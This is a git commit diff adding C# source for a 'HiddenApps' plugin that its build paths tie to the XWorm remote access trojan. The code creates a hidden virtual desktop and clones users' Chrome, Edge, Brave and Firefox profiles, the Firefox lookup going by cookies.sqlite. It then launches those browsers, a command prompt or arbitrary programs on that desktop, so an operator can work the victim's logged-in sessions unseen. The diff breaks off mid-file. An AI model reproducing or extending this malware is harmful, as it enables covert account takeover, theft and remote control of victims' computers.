initial commit
This commit is contained in:
Binary file not shown.
@@ -0,0 +1,25 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.34114.132
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HiddenApps", "HiddenApps\HiddenApps.csproj", "{F18A30E2-9969-461D-9FAA-628D9B0EE829}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{F18A30E2-9969-461D-9FAA-628D9B0EE829}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{F18A30E2-9969-461D-9FAA-628D9B0EE829}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{F18A30E2-9969-461D-9FAA-628D9B0EE829}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{F18A30E2-9969-461D-9FAA-628D9B0EE829}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {07CAEEF9-7A9F-4851-B5B3-621D07F6484A}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1 @@
|
||||
{"RootPath":"C:\\Users\\byt3d4sh\\Desktop\\Projects\\XWorm V6.5\\Plugins\\HiddenApps\\HiddenApps","ProjectFileName":"HiddenApps.csproj","Configuration":"Debug|AnyCPU","FrameworkPath":"","Sources":[{"SourceFile":"Brave.cs"},{"SourceFile":"Chrome.cs"},{"SourceFile":"CommandPrompt.cs"},{"SourceFile":"CustomOpen.cs"},{"SourceFile":"Edge.cs"},{"SourceFile":"FireFox.cs"},{"SourceFile":"HandleVNC\\SetCurrentVirtualDesktop.cs"},{"SourceFile":"InvokeUser32.cs"},{"SourceFile":"KeyboardEvent.cs"},{"SourceFile":"MouseAction.cs"},{"SourceFile":"MouseEvent.cs"},{"SourceFile":"PacketHandler.cs"},{"SourceFile":"Plugin.cs"},{"SourceFile":"Plugin\\HandleVNC\\NativeMethodsVNC.cs"},{"SourceFile":"Plugin\\Handle\\GetHandleWindow.cs"},{"SourceFile":"Plugin\\OpenApp\\HandleClipboard.cs"},{"SourceFile":"PowerShell.cs"},{"SourceFile":"Properties\\AssemblyInfo.cs"},{"SourceFile":"ScreenshotCapture.cs"},{"SourceFile":"WDir.cs"},{"SourceFile":"obj\\Debug\\.NETFramework,Version=v4.8.AssemblyAttributes.cs"}],"References":[{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Microsoft.CSharp.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Microsoft.VisualBasic.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\mscorlib.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Core.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Data.DataSetExtensions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Data.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Drawing.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Management.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Windows.Forms.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Xml.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Xml.Linq.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""}],"Analyzers":[],"Outputs":[{"OutputItemFullPath":"C:\\Users\\byt3d4sh\\Desktop\\Projects\\XWorm V6.5\\XWorm\\bin\\Debug\\Plugins\\HiddenApps.dll","OutputItemRelativePath":"HiddenApps.dll"},{"OutputItemFullPath":"","OutputItemRelativePath":""}],"CopyToOutputEntries":[]}
|
||||
@@ -0,0 +1,87 @@
|
||||
// HApps, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// Plugin.Brave
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using bozman;
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
|
||||
public class Brave
|
||||
{
|
||||
private static readonly string fileNameUserData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\BraveSoftware\\Brave-Browser\\User Data";
|
||||
private static readonly string fileNameUserDataCopy = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\BraveSoftware\\Brave-Browser\\Brave Data";
|
||||
|
||||
private static readonly string FilenameBrave = WDir.SystemDirectory + "Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe";
|
||||
private static readonly string FilenameBravex86 = WDir.SystemDirectory + "Program Files (x86)\\BraveSoftware\\Brave-Browser\\Application\\brave.exe";
|
||||
public static void OpenBraveBrowser()
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
try
|
||||
{
|
||||
|
||||
bool flag = !File.Exists(Brave.FilenameBrave) && !File.Exists(Brave.FilenameBravex86);
|
||||
if (flag)
|
||||
{
|
||||
Helper.MsgLogs("Brave: Not Installed!");
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
if (!Directory.Exists(fileNameUserDataCopy))
|
||||
{
|
||||
Helper.MsgLogs("Brave: CloneProfile..");
|
||||
new Computer().FileSystem.CopyDirectory(fileNameUserData, fileNameUserDataCopy);
|
||||
Helper.MsgLogs("Brave: CloneProfile Completed");
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
new Thread((ThreadStart)delegate
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
Open();
|
||||
}).Start();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.MsgLogs("Brave: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public static void Open()
|
||||
{
|
||||
try
|
||||
{
|
||||
|
||||
string Path = null;
|
||||
|
||||
if (System.IO.File.Exists(Brave.FilenameBrave))
|
||||
{
|
||||
Path = Brave.FilenameBrave;
|
||||
}
|
||||
|
||||
if (System.IO.File.Exists(Brave.FilenameBravex86))
|
||||
{
|
||||
Path = Brave.FilenameBravex86;
|
||||
}
|
||||
|
||||
|
||||
if (Path == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
SetCurrentVirtualDesktop.CreateProcess("\"" + Path + "\" --disable-3d-apis --disable-gpu --disable-d3d11 \"--user-data-dir=" + fileNameUserDataCopy + "\"", Helper.HVNCDesktopName, bAppName: false);
|
||||
Helper.MsgLogs("Brave: Running");
|
||||
Thread.Sleep(3000);
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
GetHandleWindow.GetListWindow();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.MsgLogs("Brave: " + ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,93 @@
|
||||
// HApps, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// Plugin.Chrome
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using bozman;
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
|
||||
public class Chrome
|
||||
{
|
||||
private static readonly string fileNameUserData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data";
|
||||
|
||||
private static readonly string fileNameUserDataCopy = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\Chrome Data";
|
||||
|
||||
private static readonly string FilenameChrome = WDir.SystemDirectory + "Program Files\\Google\\Chrome\\Application\\chrome.exe";
|
||||
private static readonly string FilenameChromeX86 = WDir.SystemDirectory + "Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe";
|
||||
|
||||
public static string PathChrome;
|
||||
|
||||
public static void OpenChromeBrowser()
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
try
|
||||
{
|
||||
bool flag = !File.Exists(Chrome.FilenameChrome) && !File.Exists(Chrome.FilenameChromeX86);
|
||||
if (flag)
|
||||
{
|
||||
Helper.MsgLogs("Chrome: Not Installed!");
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
if (!Directory.Exists(fileNameUserDataCopy))
|
||||
{
|
||||
Helper.MsgLogs("Chrome: CloneProfile..");
|
||||
new Computer().FileSystem.CopyDirectory(fileNameUserData, fileNameUserDataCopy);
|
||||
Helper.MsgLogs("Chrome: CloneProfile Completed");
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
|
||||
new Thread((ThreadStart)delegate
|
||||
{
|
||||
Thread.Sleep(1000);
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
Open();
|
||||
}).Start();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.MsgLogs("Chrome: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public static void Open()
|
||||
{
|
||||
try
|
||||
{
|
||||
|
||||
string Path = null;
|
||||
|
||||
if (System.IO.File.Exists(Chrome.FilenameChrome))
|
||||
{
|
||||
Path = Chrome.FilenameChrome;
|
||||
}
|
||||
|
||||
if (System.IO.File.Exists(Chrome.FilenameChromeX86))
|
||||
{
|
||||
Path = Chrome.FilenameChromeX86;
|
||||
}
|
||||
|
||||
|
||||
if (Path == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
SetCurrentVirtualDesktop.CreateProcess("\"" + Path + "\" --mute-audio --disable-audio --disable-3d-apis --disable-gpu --disable-d3d11 \"--user-data-dir=" + fileNameUserDataCopy + "\"", Helper.HVNCDesktopName, bAppName: false);
|
||||
Helper.MsgLogs("Chrome: Running");
|
||||
Thread.Sleep(3000);
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
GetHandleWindow.GetListWindow();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.MsgLogs("Chrome: " + ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
// HApps, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// Plugin.CommandPrompt
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
|
||||
public class CommandPrompt
|
||||
{
|
||||
private static readonly string fileNameCmd = Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\Cmd.exe";
|
||||
|
||||
public static void Open()
|
||||
{
|
||||
try
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
if (!File.Exists(fileNameCmd))
|
||||
{
|
||||
Helper.MsgLogs("Cmd: Not Found!");
|
||||
return;
|
||||
}
|
||||
SetCurrentVirtualDesktop.CreateProcess(fileNameCmd, Helper.HVNCDesktopName, bAppName: false);
|
||||
Helper.MsgLogs("Cmd: Running");
|
||||
Thread.Sleep(2000);
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
GetHandleWindow.GetListWindow();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.MsgLogs("Cmd: " + ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
// HApps, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// Plugin.CustomOpen
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
|
||||
public class CustomOpen
|
||||
{
|
||||
public static void Open(string Filename, string Args)
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
try
|
||||
{
|
||||
if (!File.Exists(Filename))
|
||||
{
|
||||
Helper.MsgLogs("CustomOpen: Not Found! ''" + Filename + "''");
|
||||
return;
|
||||
}
|
||||
SetCurrentVirtualDesktop.CreateProcess(Filename + " " + Args, Helper.HVNCDesktopName, bAppName: false);
|
||||
Helper.MsgLogs(Filename + " : Running");
|
||||
Thread.Sleep(1000);
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
GetHandleWindow.GetListWindow();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.MsgLogs("CustomOpen: " + ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
// HApps, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// Plugin.Edge
|
||||
#define DEBUG
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using bozman;
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
|
||||
public class Edge
|
||||
{
|
||||
private static readonly string fileNameUserData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Microsoft\\Edge\\User Data";
|
||||
|
||||
private static readonly string fileNameUserDataCopy = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Microsoft\\Edge\\Edge Data";
|
||||
|
||||
private static readonly string FilenameEdge = WDir.SystemDirectory + "Program Files\\Microsoft\\Edge\\Application\\msedge.exe";
|
||||
private static readonly string FilenameEdgeX86 = WDir.SystemDirectory + "Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe";
|
||||
|
||||
public static void OpenEdgeBrowser()
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
try
|
||||
{
|
||||
bool flag = !File.Exists(Edge.FilenameEdge) && !File.Exists(Edge.FilenameEdgeX86);
|
||||
if (flag)
|
||||
{
|
||||
Helper.MsgLogs("MicrosoftEdge: Not Installed!");
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
if (!Directory.Exists(fileNameUserDataCopy))
|
||||
{
|
||||
Helper.MsgLogs("MicrosoftEdge: CloneProfile..");
|
||||
new Computer().FileSystem.CopyDirectory(fileNameUserData, fileNameUserDataCopy);
|
||||
Helper.MsgLogs("MicrosoftEdge: CloneProfile Completed");
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
new Thread((ThreadStart)delegate
|
||||
{
|
||||
Thread.Sleep(1000);
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
Open();
|
||||
}).Start();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.MsgLogs("MicrosoftEdge: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public static void Open()
|
||||
{
|
||||
try
|
||||
{
|
||||
|
||||
string Path = null;
|
||||
|
||||
if (System.IO.File.Exists(Edge.FilenameEdge))
|
||||
{
|
||||
Path = Edge.FilenameEdge;
|
||||
}
|
||||
|
||||
if (System.IO.File.Exists(Edge.FilenameEdgeX86))
|
||||
{
|
||||
Path = Edge.FilenameEdgeX86;
|
||||
}
|
||||
|
||||
|
||||
if (Path == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
SetCurrentVirtualDesktop.CreateProcess("\"" + Path + "\" --disable-3d-apis --disable-gpu --disable-d3d11 \"--user-data-dir=" + fileNameUserDataCopy + "\"", Helper.HVNCDesktopName, bAppName: false);
|
||||
Helper.MsgLogs("MicrosoftEdge: Running");
|
||||
Thread.Sleep(3000);
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
Debug.WriteLine("Refrsh");
|
||||
GetHandleWindow.GetListWindow();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.MsgLogs("MicrosoftEdge: " + ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
// HApps, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// Plugin.FireFox
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using bozman;
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
|
||||
public class FireFox
|
||||
{
|
||||
private static readonly string fileNameUserData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Mozilla\\Firefox\\Profiles";
|
||||
|
||||
private static readonly string fileNameUserDataCopy = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Mozilla\\Firefox\\FireFox Data";
|
||||
|
||||
|
||||
private static readonly string FilenameFireFox = WDir.SystemDirectory + "Program Files\\Mozilla Firefox\\firefox.exe";
|
||||
private static readonly string FilenameFireFoxX86 = WDir.SystemDirectory + "Program Files (x86)\\Mozilla Firefox\\firefox.exe";
|
||||
|
||||
public static void OpenFireFoxBrowser()
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
try
|
||||
{
|
||||
|
||||
bool flag = !File.Exists(FireFox.FilenameFireFox) && !File.Exists(FireFox.FilenameFireFoxX86);
|
||||
if (flag)
|
||||
{
|
||||
Helper.MsgLogs("Firefox: Not Installed!");
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
if (!Directory.Exists(fileNameUserDataCopy))
|
||||
{
|
||||
try
|
||||
{
|
||||
string text = string.Empty;
|
||||
string[] directories = Directory.GetDirectories(fileNameUserData);
|
||||
int i = 0;
|
||||
string text2 = null;
|
||||
for (; i < directories.Length; i++)
|
||||
{
|
||||
text2 = directories[i];
|
||||
string path = text2 + "\\cookies.sqlite";
|
||||
if (File.Exists(path))
|
||||
{
|
||||
text = Path.GetFileName(text2);
|
||||
break;
|
||||
}
|
||||
}
|
||||
Helper.MsgLogs("Firefox: CloneProfile...");
|
||||
new Computer().FileSystem.CopyDirectory(fileNameUserData + "\\" + text, fileNameUserDataCopy);
|
||||
Helper.MsgLogs("Firefox: CloneProfile Completed");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.MsgLogs("Firefox: " + ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
new Thread((ThreadStart)delegate
|
||||
{
|
||||
Thread.Sleep(1000);
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
Open();
|
||||
}).Start();
|
||||
}
|
||||
catch (Exception ex2)
|
||||
{
|
||||
Helper.MsgLogs("Firefox: " + ex2.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public static void Open()
|
||||
{
|
||||
try
|
||||
{
|
||||
|
||||
string Path = null;
|
||||
|
||||
if (System.IO.File.Exists(FireFox.FilenameFireFox))
|
||||
{
|
||||
Path = FireFox.FilenameFireFox;
|
||||
}
|
||||
|
||||
if (System.IO.File.Exists(FireFox.FilenameFireFoxX86))
|
||||
{
|
||||
Path = FireFox.FilenameFireFoxX86;
|
||||
}
|
||||
|
||||
|
||||
if (Path == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
SetCurrentVirtualDesktop.CreateProcess("\"" + Path + "\" -no-remote -profile \"" + fileNameUserDataCopy + "\"", Helper.HVNCDesktopName, bAppName: false);
|
||||
Helper.MsgLogs("Firefox: Running");
|
||||
Thread.Sleep(3000);
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
GetHandleWindow.GetListWindow();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.MsgLogs("Firefox: " + ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,478 @@
|
||||
// HApps, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// HApp.HandleVNC.SetCurrentVirtualDesktop
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Collections.Specialized;
|
||||
using System.Diagnostics;
|
||||
using System.Management;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
public class SetCurrentVirtualDesktop : IDisposable, ICloneable
|
||||
{
|
||||
private delegate bool EnumDesktopProc(string lpszDesktop, IntPtr lParam);
|
||||
|
||||
private enum DESKTOP_ACCESS : uint
|
||||
{
|
||||
DESKTOP_NONE = 0u,
|
||||
DESKTOP_READOBJECTS = 1u,
|
||||
DESKTOP_CREATEWINDOW = 2u,
|
||||
DESKTOP_CREATEMENU = 4u,
|
||||
DESKTOP_HOOKCONTROL = 8u,
|
||||
DESKTOP_JOURNALRECORD = 16u,
|
||||
DESKTOP_JOURNALPLAYBACK = 32u,
|
||||
DESKTOP_ENUMERATE = 64u,
|
||||
DESKTOP_WRITEOBJECTS = 128u,
|
||||
DESKTOP_SWITCHDESKTOP = 256u,
|
||||
GENERIC_ALL = 511u
|
||||
}
|
||||
|
||||
public struct APPBARDATA
|
||||
{
|
||||
public int cbSize;
|
||||
|
||||
public IntPtr hWnd;
|
||||
|
||||
public int uCallbackMessage;
|
||||
|
||||
public int uEdge;
|
||||
|
||||
public NativeMethodsVNC.RECT rc;
|
||||
|
||||
public IntPtr lParam;
|
||||
}
|
||||
|
||||
private struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
|
||||
public IntPtr hThread;
|
||||
|
||||
public int dwProcessId;
|
||||
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
private struct STARTUPINFO
|
||||
{
|
||||
public int cb;
|
||||
|
||||
public string lpReserved;
|
||||
|
||||
public string lpDesktop;
|
||||
|
||||
public string lpTitle;
|
||||
|
||||
public int dwX;
|
||||
|
||||
public int dwY;
|
||||
|
||||
public int dwXSize;
|
||||
|
||||
public int dwYSize;
|
||||
|
||||
public int dwXCountChars;
|
||||
|
||||
public int dwYCountChars;
|
||||
|
||||
public int dwFillAttribute;
|
||||
|
||||
public int dwFlags;
|
||||
|
||||
public short wShowWindow;
|
||||
|
||||
public short cbReserved2;
|
||||
|
||||
public IntPtr lpReserved2;
|
||||
|
||||
public IntPtr hStdInput;
|
||||
|
||||
public IntPtr hStdOutput;
|
||||
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
private IntPtr m_desktop;
|
||||
|
||||
private string m_desktopName;
|
||||
|
||||
private static StringCollection m_sc;
|
||||
|
||||
private bool m_disposed;
|
||||
|
||||
public static readonly SetCurrentVirtualDesktop Default = OpenDefaultDesktop();
|
||||
|
||||
public static readonly SetCurrentVirtualDesktop Input = OpenInputDesktop();
|
||||
|
||||
private const long DESKTOP_CREATEWINDOW = 2L;
|
||||
|
||||
private const long DESKTOP_ENUMERATE = 64L;
|
||||
|
||||
private const long DESKTOP_WRITEOBJECTS = 128L;
|
||||
|
||||
private const long DESKTOP_SWITCHDESKTOP = 256L;
|
||||
|
||||
private const long DESKTOP_CREATEMENU = 4L;
|
||||
|
||||
private const long DESKTOP_HOOKCONTROL = 8L;
|
||||
|
||||
private const long DESKTOP_READOBJECTS = 1L;
|
||||
|
||||
private const long DESKTOP_JOURNALRECORD = 16L;
|
||||
|
||||
private const long DESKTOP_JOURNALPLAYBACK = 32L;
|
||||
|
||||
private const long AccessRights = 511L;
|
||||
|
||||
private const int UOI_NAME = 2;
|
||||
|
||||
private static readonly List<int> m_lstProcessID = new List<int>();
|
||||
|
||||
private const int NORMAL_PRIORITY_CLASS = 32;
|
||||
|
||||
public bool IsOpen => m_desktop != IntPtr.Zero;
|
||||
|
||||
public string DesktopName => m_desktopName;
|
||||
|
||||
public IntPtr DesktopHandle => m_desktop;
|
||||
|
||||
public static bool SetCurrent(SetCurrentVirtualDesktop desktop)
|
||||
{
|
||||
if (!desktop.IsOpen)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return SetThreadDesktop(desktop.DesktopHandle);
|
||||
}
|
||||
|
||||
public bool Open(string name)
|
||||
{
|
||||
CheckDisposed();
|
||||
if (m_desktop != IntPtr.Zero && !Close())
|
||||
{
|
||||
return false;
|
||||
}
|
||||
m_desktop = OpenDesktop(name, 0, fInherit: false, 511L);
|
||||
if (m_desktop == IntPtr.Zero)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
m_desktopName = name;
|
||||
return true;
|
||||
}
|
||||
|
||||
public static SetCurrentVirtualDesktop CreateDesktop(string name)
|
||||
{
|
||||
SetCurrentVirtualDesktop setCurrentVirtualDesktop = new SetCurrentVirtualDesktop();
|
||||
if (!setCurrentVirtualDesktop.Create(name))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
return setCurrentVirtualDesktop;
|
||||
}
|
||||
|
||||
public bool Create(string name)
|
||||
{
|
||||
CheckDisposed();
|
||||
if (m_desktop != IntPtr.Zero && !Close())
|
||||
{
|
||||
return false;
|
||||
}
|
||||
if (Exists(name))
|
||||
{
|
||||
return Open(name);
|
||||
}
|
||||
m_desktop = CreateDesktop(name, IntPtr.Zero, IntPtr.Zero, 0, 511L, IntPtr.Zero);
|
||||
m_desktopName = name;
|
||||
if (m_desktop == IntPtr.Zero)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
public static bool Exists(string name)
|
||||
{
|
||||
return Exists(name, caseInsensitive: false);
|
||||
}
|
||||
|
||||
public static bool Exists(string name, bool caseInsensitive)
|
||||
{
|
||||
string[] desktops = GetDesktops();
|
||||
string[] array = desktops;
|
||||
foreach (string text in array)
|
||||
{
|
||||
if (caseInsensitive)
|
||||
{
|
||||
if (text.ToLower() == name.ToLower())
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
else if (text == name)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public static string[] GetDesktops()
|
||||
{
|
||||
IntPtr processWindowStation = GetProcessWindowStation();
|
||||
if (processWindowStation == IntPtr.Zero)
|
||||
{
|
||||
return new string[0];
|
||||
}
|
||||
string[] array;
|
||||
lock (m_sc = new StringCollection())
|
||||
{
|
||||
if (!EnumDesktops(processWindowStation, DesktopProc, IntPtr.Zero))
|
||||
{
|
||||
return new string[0];
|
||||
}
|
||||
array = new string[m_sc.Count];
|
||||
for (int i = 0; i < array.Length; i++)
|
||||
{
|
||||
array[i] = m_sc[i];
|
||||
}
|
||||
}
|
||||
return array;
|
||||
}
|
||||
|
||||
private static bool DesktopProc(string lpszDesktop, IntPtr lParam)
|
||||
{
|
||||
m_sc.Add(lpszDesktop);
|
||||
return true;
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, long dwDesiredAccess, IntPtr lpsa);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
